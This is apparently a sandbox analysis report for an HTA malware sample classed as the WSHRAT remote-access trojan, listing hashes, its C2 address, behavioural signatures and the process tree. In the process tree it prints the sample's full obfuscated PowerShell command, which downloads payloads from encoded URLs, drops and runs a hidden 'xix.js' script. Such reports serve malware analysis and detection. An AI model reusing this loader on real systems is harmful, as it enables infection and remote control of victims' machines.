Analysis
- max time kernel
131s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20220721-en - resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system - submitted
27/07/2022, 09:17
Static task
static1
Behavioral task
behavioral1
Sample
statement.hta
Resource
win7-20220715-en
6 signatures
150 seconds
General
- Target statement.hta
- Size 17KB
- Sample220727-k816rsfhd7
- SHA256 d1abfe186555b7b0b6dec754412e73f29f2dfae9042e7966b505a9ae10e0d099
- MD5 d928ee9998f8bf95eee928b64b1cc88a
- SHA1 4015d8d6c804b252b3f4b8046c9cadca68e8da87
- SHA512 37481fea0d37409bc32a565efdd53ac8397721c885bbcb674acf19c28ee9b2ad6ce0724a5ed54c73f449c9066f93a3f3374e01967b1033555f242ab14b6ed376
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
wshrat
C2
-
http://1.tcp.au.ngrok.io:25993
Signatures
- Blocklisted process makes network request 19 IoCs
flow pid Process 10 2184 powershell.exe 12 2184 powershell.exe 14 4584 WScript.exe 16 4584 WScript.exe 17 4584 WScript.exe 20 4584 WScript.exe 28 4584 WScript.exe 29 4584 WScript.exe 31 4584 WScript.exe 32 4584 WScript.exe 40 4584 WScript.exe 44 4584 WScript.exe 45 4584 WScript.exe 47 4584 WScript.exe 48 4584 WScript.exe 49 4584 WScript.exe 50 4584 WScript.exe 51 4584 WScript.exe 52 4584 WScript.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Control Panel\International\Geo\Nation mshta.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 13 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000_Classes\Local Settings powershell.exe - Script User-Agent 14 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 20 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 32 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 45 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 51 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 16 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 28 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 29 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 49 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 50 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 17 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 31 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 44 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 47 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 48 WSHRAT|8EAF900B|AEQTNBXF|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2184 powershell.exe 2184 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2184 powershell.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4384 wrote to memory of 2184 4384 mshta.exe 82 PID 4384 wrote to memory of 2184 4384 mshta.exe 82 PID 4384 wrote to memory of 2184 4384 mshta.exe 82 PID 2184 wrote to memory of 4584 2184 powershell.exe 84 PID 2184 wrote to memory of 4584 2184 powershell.exe 84 PID 2184 wrote to memory of 4584 2184 powershell.exe 84
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\statement.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hGpRFzhxC($ncyQBVxuN, $bmzObKgnO){[IO.File]::WriteAllBytes($ncyQBVxuN, $bmzObKgnO)};function opPPxkiJmb($ncyQBVxuN){if($ncyQBVxuN.EndsWith((ZHhNoxjKqVIlBal @(45585,45639,45647,45647))) -eq $True){rundll32.exe $ncyQBVxuN }elseif($ncyQBVxuN.EndsWith((ZHhNoxjKqVIlBal @(45585,45651,45654,45588))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $ncyQBVxuN}else{Start-Process $ncyQBVxuN}};function qqLOwwVnMFG($hGpRFzhxC){$idjCuQLIUbnBwUgvWDV=(ZHhNoxjKqVIlBal @(45611,45644,45639,45639,45640,45649));$nbgYRvPswVZYCK=(Get-ChildItem $hGpRFzhxC -Force);$nbgYRvPswVZYCK.Attributes=$nbgYRvPswVZYCK.Attributes -bor ([IO.FileAttributes]$idjCuQLIUbnBwUgvWDV).value__};function TicTeelSktHnXfO($irjWUFuYLRsApSFCnod){$eBFqHwopwUgJLecmR = New-Object (ZHhNoxjKqVIlBal @(45617,45640,45655,45585,45626,45640,45637,45606,45647,45644,45640,45649,45655));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$bmzObKgnO = $eBFqHwopwUgJLecmR.DownloadData($irjWUFuYLRsApSFCnod);return $bmzObKgnO};function ZHhNoxjKqVIlBal($CfFfZKRBmd){$wAeqTyuBM=45539;$cBbZgQxDeHgVM=$Null;foreach($fozIjxEr in $CfFfZKRBmd){$cBbZgQxDeHgVM+=[char]($fozIjxEr-$wAeqTyuBM)};return $cBbZgQxDeHgVM};function ooVTspReNL(){$QdQJPbGZPbHmuFHjU = $env:AppData + '\';$QRJEOTllSpueGEkPzvMBz = $QdQJPbGZPbHmuFHjU + '000489-1053540002.jpg';If(Test-Path -Path $QRJEOTllSpueGEkPzvMBz){Invoke-Item $QRJEOTllSpueGEkPzvMBz;}Else{ $AloviVypPny = TicTeelSktHnXfO (ZHhNoxjKqVIlBal @(45643,45655,45655,45651,45654,45597,45586,45586,45638,45639,45649,45585,45639,45644,45654,45638,45650,45653,45639,45636,45651,45651,45585,45638,45650,45648,45586,45636,45655,45655,45636,45638,45643,45648,45640,45649,45655,45654,45586,45595,45596,45594,45588,45589,45595,45588,45590,45589,45590,45595,45595,45589,45587,45591,45592,45591,45591,45586,45588,45587,45587,45587,45596,45590,45595,45593,45590,45591,45591,45587,45593,45592,45590,45596,45589,45596,45591,45586,45587,45587,45587,45591,45595,45596,45584,45588,45587,45592,45590,45592,45591,45587,45587,45587,45589,45585,45645,45651,45642));hGpRFzhxC $QRJEOTllSpueGEkPzvMBz $AloviVypPny;Invoke-Item $QRJEOTllSpueGEkPzvMBz;};$ekjAHntag = $QdQJPbGZPbHmuFHjU + 'xix.js'; if (Test-Path -Path $ekjAHntag){opPPxkiJmb $ekjAHntag;}Else{ $VVqldlLVS = TicTeelSktHnXfO (ZHhNoxjKqVIlBal @(45643,45655,45655,45651,45654,45597,45586,45586,45643,45655,45584,45649,45636,45644,45647,45585,45639,45640,45586,45650,45651,45650,45586,45659,45644,45659,45585,45645,45654));hGpRFzhxC $ekjAHntag $VVqldlLVS;opPPxkiJmb $ekjAHntag;};qqLOwwVnMFG $ekjAHntag;;;;;}ooVTspReNL;2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\xix.js"3⤵
- Blocklisted process makes network request
PID:4584
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Roaming\xix.js
- Size 219KB
- SHA256 d6356866d600a2be0fc8589b1dd09b2d04c8bd1bf98699be5f1376f9d88ad4cd
- MD5 cffdd5a6b8da7a831e44c316702f379e
- SHA1 0194f262d5f22ddfc7959a68883302737b9dbf07
- SHA512 a28e62735d041f7cefc7c28dd8975f5f5e67892874350f020d7123409d21afe353cd7e86b5fae151dc3c7da4159c7d96dceadfdff7dbeaa07950cf1c635b7363
- SSDEEP 6144:LTIj4FmQ10SWmLuu/aUN6Wk6Wma+O4ab0IGr1/9:L7nfiC5NlWma79Grj
- MD5 SHA1 SHA512 SSDEEP